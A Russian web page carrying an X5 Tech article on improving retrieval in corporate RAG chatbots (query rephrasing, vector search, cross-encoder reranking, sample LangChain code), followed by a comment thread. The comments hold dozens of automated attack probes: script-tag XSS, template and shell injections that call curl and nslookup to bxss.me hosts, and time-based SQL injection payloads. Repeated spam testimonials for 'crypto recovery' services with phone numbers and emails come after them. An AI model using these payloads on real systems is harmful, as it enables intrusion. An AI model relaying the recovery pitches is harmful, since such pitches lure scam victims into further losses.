Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Cryptocurrencies: 9505 / Markets: 114717
Market Cap: $ 3 663 340 658 986 / 24h Vol: $ 222 537 540 211 / BTC Dominance: 58.861607907734%

Н Новости

Интеграция LLM в корпоративные чат-боты: RAG-подход и эксперименты

Всем привет! На связи команда AI-Run из X5 Tech, мы занимаемся генеративными сетями в целом и языковыми моделями в частности. В этой статье мы опишем наш опыт работы с большими языковыми моделями (LLM), их внедрение для обработки корпоративных данных, а также поделимся нашими результатами и выводами.

Ещё мы расскажем о нашем подходе к использованию LLM, подробно остановимся на методе Retrieval Augmented Generation (RAG) и рассмотрим примеры использования чат-ботов на корпоративных порталах X5.

Эта статья будет полезна разработчикам, которые интересуются внедрением LLM для работы с корпоративными данными. Она основана на нашем выступлении на митапе, но не ограничивается им, а, скорее, дополняет его.

Что такое LLM?

LLM или большая языковая модель (Large Language Model) — это нейросетевая модель, обученная на огромных массивах текстовой информации для понимания и генерации естественного языка. Основная задача LLM — принимать на вход текст и отвечать на него также текстом. Важно отметить, что LLM ограничены длиной принимаемой информации (контекста) – максимального количества токенов, которое способна обработать модель за один вызов.

Токен – языковая единица, с которой работает модель. Чаще всего в токене содержатся 2-4 буквы. Контекст у моделей обычно имеет фиксированную длину, которая обычно составляет 4000 токенов. Например, субтитры нашего часового выступления занимают примерно 8000 токенов.

Работая с LLM, мы сталкиваемся не только с ограничениями на длину контекста: обработка корпоративных данных также накладывает свои ограничения. Пользоваться моделями, которые хостятся не на наших серверах, мы не можем из-за риска утечки чувствительной информации, а потому нам нужно либо маскировать эти данные, либо пользоваться моделями c открытым кодом и поддерживать их на своих серверах. Сегодня будем говорить о том, как мы работали со вторым вариантом.

Дело в том, что не все LLM "из коробки" идеально подходят для использования. Многие модели имеют недостаточную поддержку русского языка или не обладают специализированными знаниями, необходимыми для определённых задач. Опенсорсные модели также могут дублировать информацию и склонны к галлюцинациям, что снижает качество ответов.

Для решения этих проблем можно дообучать модели на собственных данных, но это часто бывает сложно и дорого. Как же тогда быть? Здесь на помощь приходит метод Retrieval Augmented Generation (RAG).

RAG: альтернатива дообучению

Схема работы RAG из оригинальной статьи
Схема работы RAG из оригинальной статьи

В качестве альтернативы подход RAG предлагает передавать в LLM релевантную вопросу пользователя информацию прямо внутри контекста. Например, если пользователь хочет получить отчёт по продажам за март 2024 года, мы можем найти соответствующие документы, передать их в текстовом виде в контекст и использовать LLM для создания структурированного ответа. Этот подход значительно увеличивает полезность LLM в корпоративной среде, позволяя модели работать с конкретными и актуальными данными.

Отлично, но как же сделать это? Процесс построения простого RAG пайплайна состоит из трёх этапов:

  1. Преобразование документов: внутренние документы (инструкции, нормативные документы, FAQ и т. д.) преобразуются в векторы с помощью моделей эмбеддингов или индексируются, например, при помощи Elastic Search.

  2. Поиск документов: при поступлении запроса пользователя он используется для поиска ближайших документов в базе данных.

  3. Генерация ответа: LLM генерирует ответ на основе найденных документов и запроса пользователя.

В виде кода это может выглядеть так
from langchain.text_splitter import CharacterTextSplitter
from langchain.vectorstores import Chroma
from langchain.chains.retrieval_qa.base import RetrievalQA
from transformers import AutoModelForCausalLM
from langchain_community.embeddings import HuggingFaceInstructEmbeddings


# Загрузка языковой модели с huggingface
model = AutoModelForCausalLM.from_pretrained(
  "mistralai/Mistral-7B-v0.1", device_map="auto", load_in_4bit=True
)


"""Определяем размер чанков - длина кусков, на которые мы разбиваем исходный текст и chunk_overlap - пересечение между чанками """
text_splitter = CharacterTextSplitter(chunk_size=1000, chunk_overlap=0)
texts = text_splitter.split_documents(data)


# Инициализация эмбеддингов для дальнейшего использования
embeddings  = HuggingFaceInstructEmbeddings(model_name="mistralai/Mistral-7B-v0.1",trust_remote_code=True,
                                     model_kwargs={'device': 'mps'}, encode_kwargs={'device': 'mps'})


# Создание векторной базы данных для хранения текстов и соответствующих им векторных представлений
db = Chroma.from_documents(texts, embeddings)


""" Настройка ретривера (системы поиска по схожести векторных представлений документов)
   Здесь параметр k в search_kwargs отвечает за количество наиболее релевантных документов в выдаче"""
retriever = db.as_retriever(search_type="similarity", search_kwargs={"k": 3})


# Создаем llm_chain со встроенным Retrieval из langchain для удобства использования


qa = RetrievalQA.from_chain_type(
 llm=model, chain_type="rag", retriever=retriever, return_source_documents=True)


# Формулировка запроса и получение ответа на вопрос
query = "Где мне искать информацию по инвентаризации?"
result = qa({"query": query})

Но, к сожалению, простой RAG почти всегда не будет отвечать качеству поиска и генерации на ваших данных. Главным образом так получается потому, что стандартные подходы не всегда учитывают структуру данных: формат, необходимую длину контекста, распределение важной информации по документу и многое другое.

Поэтому наша работа здесь не закончилась, а только началась: мы долгое время экспериментировали с модификациями RAG-систем, и наконец готовы рассказать, что у нас вышло.

Улучшение RAG-системы. Retrieval

RAG состоит из двух частей: Retrieval и Augmented Generation. Эти части можно улучшать вместе (см. hybrid rag), но намного проще всё же по отдельности. В этой статье рассмотрим Retrieval, а вторую часть оставим для продолжения.

Мы хотим улучшать Retrieval, потому что хотим передавать как можно меньше нерелевантной информации в контекст модели – нерелевантная информация приведёт к лишним галлюцинациям, неправильным ответам, а если мы пользуемся коммерческими сетями (GPT, GigaChat, YaGPT), то передавая меньший контекст, мы ещё и сэкономим на токенах.

Retrieval-часть усложнённого пайплайна состоит из трёх этапов:

  • обработка запроса пользователя (Query Expansion);

  • поиск документов (контекстов) для ответа модели;

  • переранжированиe найденных документов для более точной выдачи.

Давайте рассмотрим, как мы улучшали каждую из этих частей.

Query Expansion

Работаем с исходным запросом пользователя
Работаем с исходным запросом пользователя

Query Expansion – это собирательное название техник, суть которых заключается в расширении и уточнении запроса пользователя. Эта техника помогает добавить больше контекста в исходный запрос пользователя, включая в него потенциальные ответы, которые помогают системе охватить более широкий спектр документов.

Как было "до"
Как было "до"

Если исходный запрос был слишком неоднозначным, то добавление дополнительных ключевых слов или фраз, основанных на предполагаемых ответах, может значительно улучшить результаты поиска. Например, по запросу “отпуск” мы можем найти ответы на вопрос “оформить отпуск”, “перенести отпуск” и многие подобные.

Давайте рассмотрим примеры алгоритмов с самого простого до более сложных.

Перефразирование

Очень часто пользователи задают вопрос с опечатками или с минимальной информацией. Возьмём тот же пример, который мы уже использовали – запрос “отпуск”. Нам необходимо понять, что же хочет пользователь. Для этого мы можем сделать какое-нибудь предположение и не отвечать на вопрос “отпуск”, а перефразировать в “как оформить отпуск?”. Тогда вопросно-ответным системам гораздо легче будет ответить на такие вопросы. В идеале нужно уточнить у пользователя, что он имеет ввиду, но работа с историей чата – это тема отдельного поста. Основное, что нужно понять – это то, что наша LLM может помочь с перефразированием. Например, используя следующий промпт:

Ты – русскоязычный полезный ассистент. Ты помогаешь технической поддержке с поступающими вопросами. Пользователи не всегда пишут полные вопросы, ты всегда помогаешь перефразировать поступающий вопрос и выделяешь основную проблему.

Вот вопрос пользователя: “отпуск”
Перефразированный вопрос:

Как стало
Как стало

Основной проблемой будет являться то, что модель будет некорректно перефразировать. Например, мы столкнулись с таким забавным перефразом:

2378ef2e577b28cb25ff313f1e20e596.jpg
Некорректное преобразование запроса

Нужно постоянно следить и улучшать промпт, тогда система в целом будет отвечать лучше.

Мы используем разные промпты для разных наборов данных, чтобы избежать возникающих вопросов “про пироги”, а также предварительно оцениваем необходимость перефраза при помощи классификатора. Этот метод оказал существенное влияние на качество выдачи:

MAP@5

p@1

p@5

Без перефраза

0.437

0.341

0.560

С перефразом

0.794

0.729

0.807

SelfQuery

Этот метод фокусируется на извлечении и использовании метаданных из самого запроса. Определение таких элементов, как географическая принадлежность, временные рамки или специфическая терминология позволяет системе с большей точностью находить документы, наиболее релевантные поставленному вопросу, а выделение числовых значений из запроса позволяет напрямую использовать сравнение.

Схема работает так: мы вычленяем из запроса ключевые слова и значения при помощи промпта, по которым в дальнейшем можно будет проводить фильтрацию данных в базе.

0f7bb0342c9291e591d5ab5fb7c8e94d.png
Схема действия SelfQuery метода

Этот метод хорошо подходит, если запросы содержат достаточно подробную информацию, насыщены деталями и, особенно, цифры. Его большой плюс в том, что выбор метаданных производится при помощи нейросети, а потому будет работать даже при наличии опечаток и синонимов в запросе.

К сожалению, данный метод нам не подошёл, так как наши запросы содержат мало метаданных, и в целом достаточно короткие: в нашем же примере про отпуск метаданные выделяли категорию запроса (“отпуск”), а последующее переформулирование запроса (заложенное в промпт) приводило к тому, что полученный промпт получался пустым. Чисел, которые мы могли бы использовать для сравнения, в наших запросах тоже не было.

Вдобавок ко всему, если вы используете опенсорсную модель, она может плохо выделять метаданные и следовать шаблонам, что тоже является минусом данного метода.

Мы решили отказаться от использования SelfQuery, по крайней мере в имеющемся проекте, однако, этот метод выглядит крайне полезным для использования в проектах поиска недвижимости по заданным фильтрам.

FLARE (Forward-Looking Active Retrieval)

Схема работы метода FLARE
Схема работы метода FLARE

Эта техника включает в себя механизм повторного поиска, который активируется, если LLM не уверена в процессе генерации ответа. Уверенность модели мы измеряем при помощи распределения логитов функции потерь на выходе нейросети. Если проще, это "очки" ответов сети – если много ответов имеют похожие очки, то модель не уверена в своём ответе. Например, при генерации LLM ответ о биографии Байдена, если она начинает сомневаться, в каком университете он учился (это отслеживается, если вероятность токенов потенциального ответа снижается). Система отправляет запрос в LLM для уточнения места его учёбы, а дальше она продолжает генерировать ответ. Это продолжается до того момента, пока не будет сгенерирован символ остановки.

И хоть мы можем ограничить количество максимальных повторений цикла “поиск – генерация”, при таком подходе мы тратим много времени и вычислительных мощностей на повторный поиск и приостановку генерации. Также модель имеет свойство далеко отходить от темы. В вопросах об отпуске она имела свойство размышлять о том, что такое отпуск, и не отвечать на заданный вопрос, поэтому на наших данных этот подход тоже было решено не использовать.

Данный метод будет хорош для использования в более творческих задачах, например, для написания статей, рассказов и эссе. Если ваша задача в бизнесе предполагает под собой какую-либо творческую свободу, этот метод может быть крайне полезным.

Методы Query Expansion, за исключением перефразирования, не стали применимыми в нашей задаче, однако в других они способны принести значительный результат. Поэтому вам всё же следует протестировать эти способы, а мы перейдём к другому этапу – Search Engine.

Search Engine

Теперь работаем с поиском
Теперь работаем с поиском

После обработки запроса пользователя начинается первичный поиск подходящих документов. Здесь можно сделать параллель с поисковыми движками, например, Google или Yandex. Но в нашем случае нужно искать информацию на наших внутренних данных, а не во всём интернете. Давайте рассмотрим, как мы можем искать подходящие под запрос документы.

Векторный поиск

Самый популярный сейчас способ – векторный поиск. Это часто называют семантическим поиском. Суть метода заключается в том, что каждый текст можно представить в виде вектора – набора чисел. Векторы можно сравнивать друг с другом, как смыслы текстов. Чем меньше расстояние между векторами – тем более похожи по смыслу сравниваемые тексты. Для сравнения векторов используется косинусное расстояние. Поэтому давайте найдём векторы всех внутренних документов и будем искать наиболее близкие по конусному расстоянию документы к запросу пользователя. Таким образом и появляется идея векторного поиска.

4f7c741f81a3605ea5bc8aa7f65bbef6.jpg
Косинусное расстояние

Сейчас уже есть очень много специализированных векторных баз данных, мы используем у себя Qdrant. Эта технология позволяет с коробки сделать то, что мы описали выше.

В векторном поиске главным предметом для экспериментов и улучшения качества поиска является способ представить текст в виде векторов. Есть огромное количество методов, их качество на ваших данных будет зависеть от языка, средней длины и домена. В своей работе мы пробовали эмбеддинги clips/mfaq, intfloat/multilingual-e5-large и эмбеддинги от LLaMA. Самый лучшим инструментом векторизации у нас оказался multilingual-e5-large, однако вы можете держать руку на пульсе, просматривая лидерборд здесь, выбирая эмбеддер под задачу, релевантную для своего проекта.

Другие варианты

На самом деле, есть очень много способов сравнить два текста с друг другом. И даже не обязательно использовать что-то одно, их можно комбинировать и объединять в ансамблевый ретривер.

BM25 и полнотекстовый поиск

Использование векторного поиска не означает, что мы не можем использовать поиск по ключевым словам – зачастую (в особенности при поиске документов с различными аббревиатурами и терминами) бывает полезным использовать информацию о словах, встречающихся в документе.

Реализацию BM25 и подробности можно посмотреть, например, здесь.

Симметричный поиск

Идея данного подхода проста, и при этом он работает очень хорошо: мы ищем не документы, релевантные запросу, а другие вопросы, похожие на этот. Их мы достаём из базы данных, которая легко пополняется на всём протяжении работы сервиса при помощи статистик вопросов пользователей.

Каждый вопрос в базе данных привязан к конкретному документу – именно эти документы мы передаём в качестве результата симметричного поиска. Таким образом мы значительно повышаем качество поиска релевантного контекста на часто встречающихся вопросах.

Если идти дальше, то можно определять степень “частоты” запроса (например, измеряя его расстояние до остальных вопросов в базе) и, если этот вопрос всё же окажется редким, то уже запускать другие алгоритмы поиска.

SVM

Для ранжирования документов на основе их релевантности запросу можно также использовать SVM. Для этого мы трансформируем задачу ранжирования в задачу классификации: релевантные документы отмечаем, как положительный класс, а нерелевантные – как отрицательный. Таким образом мы используем SVM-классификатор для разделения документов на нужные нам и посторонние.

Для наших же данных лучше всего себя показал ансамбль из векторного поиска + SVM ретривера.

Вы же для своих данных можете попробовать разные варианты, библиотека langchain предоставляет очень много вариантов.

Post Processing

Теперь работаем с обработкой найденных документов
Теперь работаем с обработкой найденных документов

Финальной стадией работы Retriever в RAG-системах является постобработка. На этом этапе происходит пересмотр и перераспределение найденных документов так, чтобы наиболее релевантные запросу пользователя находились на первых позициях.

Первоначальное ранжирование документов, выполненное ретривером, может быть неидеальным. Это связано с использованием упрощённых алгоритмов, которые не всегда учитывают контекст запроса. В результате релевантные документы могут быть не на первых позициях, что снижает эффективность поиска. Напомню, что мы можем передать ограниченное количество документов в наш LLM из-за ограничения размера контекста модели.

Для улучшения точности ранжирования документов используются более сложные методы.

Cross-encoder

Механизм работы постобработчика
Механизм работы постобработчика

Это нейросеть, обученная оценивать степень близости текстов друг с другом. Казалось бы, в чём отличие от нашего семантического поиска? Огромное – Cross-Encoder более сложный алгоритм, который отлавливает глубокие смысловые значения в текстах. В процессе работы он сравнивает каждый найденный документ с запросом пользователя, выдавая численную оценку схожести. Теперь можно повторно отсортировать документы по новой оценке.

Это также позволило значительно повысить значения целевых метрик:


MAP@5

p@1

p@5

До переранжирования

0.794

0.729

0.807

Посла переранжирования

0.904

0.835

0.972

Но что, если мы хотим сортировать не только по схожести от кросс-энкодера, но и от других?

Boosting

Используем классический ML. Например, мы можем обучить градиентный бустинг. Этот метод объединяет множество слабых моделей для создания сильного прогнозирующего алгоритма. В нашем контексте градиентный бустинг может использоваться для более точного определения релевантности каждого документа по отношению к запросу на основе любых фичей: схожесть от кросс-энкодера, BM25 и другие скоры.

Постобработка является ключевым этапом в работе RAG-систем, так как она позволяет существенно повысить качество поиска за счёт более точного ранжирования документов. Применение методов, таких как Cross-Encoder и градиентный бустинг, обеспечивает более контекстуальное и релевантное расположение документов.

В заключение

На этом у нас всё. В этот раз мы рассмотрели несколько вариантов того, как мы улучшали поиск релевантных документов для RAG-систем:

  • Первичную обработку запроса пользователя при помощи методов Query Expansion: перефразирования вопроса, выделения метаданных и поддержания уверенности нейросети в своих генерациях.

  • Векторный поиск документов в базе данных.

  • Последующее переранжирование найденных документов.

В следующих статьях расскажем про улучшение генераций на основе уже найденных документов, как мы мониторим LLM в проде, боремся с галлюцинациями и многое другое.

Авторы: Мичил Егоров , Глеб Панин , Дарья Андреева

Источник

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

